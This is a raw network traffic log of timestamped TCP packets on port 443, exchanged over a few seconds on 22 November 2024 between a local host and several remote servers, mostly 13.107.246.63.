Nov 22, 2024 17:09:46.678653002 CET	49856	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:46.678662062 CET	443	49856	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:46.686146021 CET	443	49850	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:46.686204910 CET	443	49850	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:46.686249018 CET	49850	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:46.686409950 CET	49850	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:46.686429024 CET	443	49850	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:46.686444044 CET	49850	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:46.686450005 CET	443	49850	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:46.688911915 CET	49857	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:46.688950062 CET	443	49857	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:46.689009905 CET	49857	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:46.689197063 CET	49857	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:46.689208984 CET	443	49857	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:47.732774019 CET	49786	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:09:47.732808113 CET	443	49786	162.159.61.3	192.168.2.10
Nov 22, 2024 17:09:47.732820988 CET	49787	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:09:47.732853889 CET	443	49787	162.159.61.3	192.168.2.10
Nov 22, 2024 17:09:48.279891968 CET	443	49857	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.282176018 CET	49857	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.282213926 CET	443	49857	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.282643080 CET	49857	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.282646894 CET	443	49857	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.349227905 CET	443	49853	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.349770069 CET	49853	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.349860907 CET	443	49853	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.350224018 CET	49853	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.350238085 CET	443	49853	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.375173092 CET	443	49854	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.375632048 CET	49854	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.375650883 CET	443	49854	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.376075983 CET	49854	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.376080036 CET	443	49854	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.407624006 CET	443	49855	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.408169985 CET	49855	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.408191919 CET	443	49855	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.408637047 CET	49855	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.408648968 CET	443	49855	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.466281891 CET	443	49856	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.466856003 CET	49856	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.466881037 CET	443	49856	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.467309952 CET	49856	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.467336893 CET	443	49856	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.723958015 CET	443	49857	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.724123955 CET	443	49857	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.724204063 CET	49857	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.724342108 CET	49857	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.724359989 CET	443	49857	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.724370956 CET	49857	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.724375963 CET	443	49857	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.727521896 CET	49859	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.727547884 CET	443	49859	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.727636099 CET	49859	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.727807045 CET	49859	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.727818012 CET	443	49859	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.797003984 CET	443	49853	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.797064066 CET	443	49853	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.797209024 CET	49853	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.797678947 CET	49853	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.797707081 CET	443	49853	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.797725916 CET	49853	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.797733068 CET	443	49853	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.800743103 CET	49860	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.800776005 CET	443	49860	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.800887108 CET	49860	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.801048040 CET	49860	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.801059008 CET	443	49860	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.825628996 CET	443	49854	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.825686932 CET	443	49854	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.825737000 CET	49854	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.825968981 CET	49854	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.825979948 CET	443	49854	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.825993061 CET	49854	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.825995922 CET	443	49854	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.829129934 CET	49861	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.829173088 CET	443	49861	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.829236031 CET	49861	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.829358101 CET	49861	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.829366922 CET	443	49861	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.855824947 CET	443	49855	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.855916977 CET	443	49855	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.855976105 CET	49855	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.856188059 CET	49855	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.856205940 CET	443	49855	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.856220961 CET	49855	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.856228113 CET	443	49855	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.859518051 CET	49862	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.859560966 CET	443	49862	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.859673023 CET	49862	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.859848976 CET	49862	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.859859943 CET	443	49862	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.916960955 CET	443	49856	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.917032957 CET	443	49856	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.917074919 CET	49856	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.917247057 CET	49856	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.917258978 CET	443	49856	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.917270899 CET	49856	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.917277098 CET	443	49856	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.920629978 CET	49863	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.920684099 CET	443	49863	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:48.920747042 CET	49863	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.920886040 CET	49863	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:48.920897961 CET	443	49863	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:50.539273977 CET	49819	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:50.539307117 CET	443	49819	204.79.197.219	192.168.2.10
Nov 22, 2024 17:09:50.570493937 CET	49818	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:50.570521116 CET	443	49818	204.79.197.219	192.168.2.10
Nov 22, 2024 17:09:50.610090017 CET	443	49861	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:50.610713005 CET	49861	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:50.610738993 CET	443	49861	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:50.611190081 CET	49861	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:50.611193895 CET	443	49861	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:50.641393900 CET	443	49862	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:50.642015934 CET	49862	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:50.642038107 CET	443	49862	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:50.642502069 CET	49862	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:50.642512083 CET	443	49862	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:50.650283098 CET	443	49860	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:50.650717974 CET	49860	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:50.650737047 CET	443	49860	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:50.651113033 CET	49860	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:50.651118040 CET	443	49860	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:50.682204962 CET	443	49859	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:50.682732105 CET	49859	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:50.682765007 CET	443	49859	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:50.683262110 CET	49859	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:50.683270931 CET	443	49859	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:50.783395052 CET	443	49863	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:50.783942938 CET	49863	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:50.783984900 CET	443	49863	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:50.784404993 CET	49863	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:50.784413099 CET	443	49863	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:50.963337898 CET	49798	443	192.168.2.10	23.199.62.75
Nov 22, 2024 17:09:50.963367939 CET	443	49798	23.199.62.75	192.168.2.10
Nov 22, 2024 17:09:50.963387966 CET	49816	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:50.963428020 CET	443	49816	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:50.963493109 CET	49817	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:50.963524103 CET	443	49817	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:51.062097073 CET	443	49861	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.062166929 CET	443	49861	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.062247038 CET	49861	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.062500954 CET	49861	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.062515974 CET	443	49861	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.062527895 CET	49861	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.062532902 CET	443	49861	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.065238953 CET	49864	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.065319061 CET	443	49864	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.065409899 CET	49864	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.065565109 CET	49864	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.065587997 CET	443	49864	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.098027945 CET	443	49862	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.098119974 CET	443	49862	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.098177910 CET	49862	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.098414898 CET	49862	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.098433018 CET	443	49862	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.098443985 CET	49862	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.098448992 CET	443	49862	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.101380110 CET	49865	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.101423025 CET	443	49865	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.101507902 CET	49865	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.101777077 CET	49865	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.101788044 CET	443	49865	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.121110916 CET	443	49860	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.121294975 CET	443	49860	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.121367931 CET	49860	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.121443987 CET	49860	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.121453047 CET	443	49860	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.121463060 CET	49860	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.121467113 CET	443	49860	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.124367952 CET	49866	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.124401093 CET	443	49866	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.124492884 CET	49866	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.124665976 CET	49866	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.124706984 CET	443	49866	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.148442984 CET	443	49859	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.148623943 CET	443	49859	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.148700953 CET	49859	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.149138927 CET	49859	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.149163961 CET	443	49859	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.149178982 CET	49859	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.149184942 CET	443	49859	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.151858091 CET	49867	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.151879072 CET	443	49867	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.151956081 CET	49867	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.152127028 CET	49867	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.152137041 CET	443	49867	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.404833078 CET	443	49863	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.405026913 CET	443	49863	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.405190945 CET	49863	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.405221939 CET	49863	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.405239105 CET	443	49863	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.405251980 CET	49863	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.405258894 CET	443	49863	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.408016920 CET	49868	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.408055067 CET	443	49868	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:51.408130884 CET	49868	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.408284903 CET	49868	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:51.408298969 CET	443	49868	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:52.489130020 CET	49869	443	192.168.2.10	23.44.203.68
Nov 22, 2024 17:09:52.489175081 CET	443	49869	23.44.203.68	192.168.2.10
Nov 22, 2024 17:09:52.489268064 CET	49869	443	192.168.2.10	23.44.203.68
Nov 22, 2024 17:09:52.489439964 CET	49869	443	192.168.2.10	23.44.203.68
Nov 22, 2024 17:09:52.489451885 CET	443	49869	23.44.203.68	192.168.2.10
Nov 22, 2024 17:09:52.790342093 CET	443	49864	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:52.790858984 CET	49864	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:52.790882111 CET	443	49864	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:52.791343927 CET	49864	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:52.791351080 CET	443	49864	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:52.975599051 CET	443	49865	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:52.976335049 CET	49865	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:52.976382017 CET	443	49865	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:52.976803064 CET	49865	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:52.976814032 CET	443	49865	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.008908033 CET	443	49867	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.009553909 CET	49867	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.009577990 CET	443	49867	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.010013103 CET	49867	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.010016918 CET	443	49867	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.232311964 CET	443	49864	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.232388020 CET	443	49864	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.232448101 CET	49864	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.232637882 CET	49864	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.232657909 CET	443	49864	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.232669115 CET	49864	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.232673883 CET	443	49864	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.235404015 CET	49871	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.235450029 CET	443	49871	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.235555887 CET	49871	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.235658884 CET	49871	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.235668898 CET	443	49871	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.351281881 CET	443	49868	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.351896048 CET	49868	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.351921082 CET	443	49868	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.352344990 CET	49868	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.352350950 CET	443	49868	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.432986975 CET	443	49865	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.433150053 CET	443	49865	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.433203936 CET	49865	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.433263063 CET	49865	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.433289051 CET	443	49865	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.433303118 CET	49865	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.433311939 CET	443	49865	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.435878992 CET	49872	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.435910940 CET	443	49872	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.435972929 CET	49872	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.436279058 CET	49872	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.436295033 CET	443	49872	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.462155104 CET	443	49867	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.462325096 CET	443	49867	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.462382078 CET	49867	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.462410927 CET	49867	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.462433100 CET	443	49867	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.462447882 CET	49867	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.462454081 CET	443	49867	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.464803934 CET	49873	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.464854002 CET	443	49873	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.464922905 CET	49873	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.465049028 CET	49873	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.465065956 CET	443	49873	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.700542927 CET	443	49869	23.44.203.68	192.168.2.10
Nov 22, 2024 17:09:53.700959921 CET	49869	443	192.168.2.10	23.44.203.68
Nov 22, 2024 17:09:53.700985909 CET	443	49869	23.44.203.68	192.168.2.10
Nov 22, 2024 17:09:53.702038050 CET	443	49869	23.44.203.68	192.168.2.10
Nov 22, 2024 17:09:53.702111959 CET	49869	443	192.168.2.10	23.44.203.68
Nov 22, 2024 17:09:53.702418089 CET	49869	443	192.168.2.10	23.44.203.68
Nov 22, 2024 17:09:53.702488899 CET	443	49869	23.44.203.68	192.168.2.10
Nov 22, 2024 17:09:53.754407883 CET	49869	443	192.168.2.10	23.44.203.68
Nov 22, 2024 17:09:53.754432917 CET	443	49869	23.44.203.68	192.168.2.10
Nov 22, 2024 17:09:53.785511017 CET	443	49866	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.786282063 CET	49866	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.786302090 CET	443	49866	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.789227962 CET	49866	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.789237022 CET	443	49866	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.795980930 CET	443	49868	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.796055079 CET	443	49868	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.796112061 CET	49868	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.796233892 CET	49868	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.796250105 CET	443	49868	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.796258926 CET	49868	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.796263933 CET	443	49868	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.798863888 CET	49874	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.798934937 CET	443	49874	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.799015999 CET	49874	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.799168110 CET	49874	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:53.799184084 CET	443	49874	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:53.801942110 CET	49869	443	192.168.2.10	23.44.203.68
Nov 22, 2024 17:09:54.239025116 CET	443	49866	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:54.239228010 CET	443	49866	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:54.239339113 CET	49866	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:54.239432096 CET	49866	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:54.239475012 CET	443	49866	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:54.239504099 CET	49866	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:54.239523888 CET	443	49866	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:54.242755890 CET	49875	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:54.242805004 CET	443	49875	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:54.242968082 CET	49875	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:54.243113995 CET	49875	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:54.243144989 CET	443	49875	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.032690048 CET	443	49871	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.033328056 CET	49871	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.033360958 CET	443	49871	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.033772945 CET	49871	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.033777952 CET	443	49871	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.305557013 CET	443	49872	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.306045055 CET	49872	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.306070089 CET	443	49872	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.306581020 CET	49872	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.306588888 CET	443	49872	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.351485014 CET	443	49873	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.352036953 CET	49873	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.352061033 CET	443	49873	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.352511883 CET	49873	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.352516890 CET	443	49873	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.481425047 CET	443	49871	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.481499910 CET	443	49871	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.481563091 CET	49871	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.481795073 CET	49871	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.481795073 CET	49871	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.481817007 CET	443	49871	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.481828928 CET	443	49871	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.485100985 CET	49876	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.485137939 CET	443	49876	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.485276937 CET	49876	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.485419035 CET	49876	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.485435963 CET	443	49876	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.523823023 CET	443	49874	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.524482965 CET	49874	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.524522066 CET	443	49874	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.524944067 CET	49874	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.524955988 CET	443	49874	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.757663965 CET	443	49872	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.757858992 CET	443	49872	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.757919073 CET	49872	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.757992029 CET	49872	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.758013964 CET	443	49872	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.758025885 CET	49872	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.758033037 CET	443	49872	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.761329889 CET	49877	443	192.168.2.10	13.107.246.63
Nov 22, 2024 17:09:55.761358976 CET	443	49877	13.107.246.63	192.168.2.10
Nov 22, 2024 17:09:55.761449099 CET	49877	443	192.168.2.10	13.107.246.63
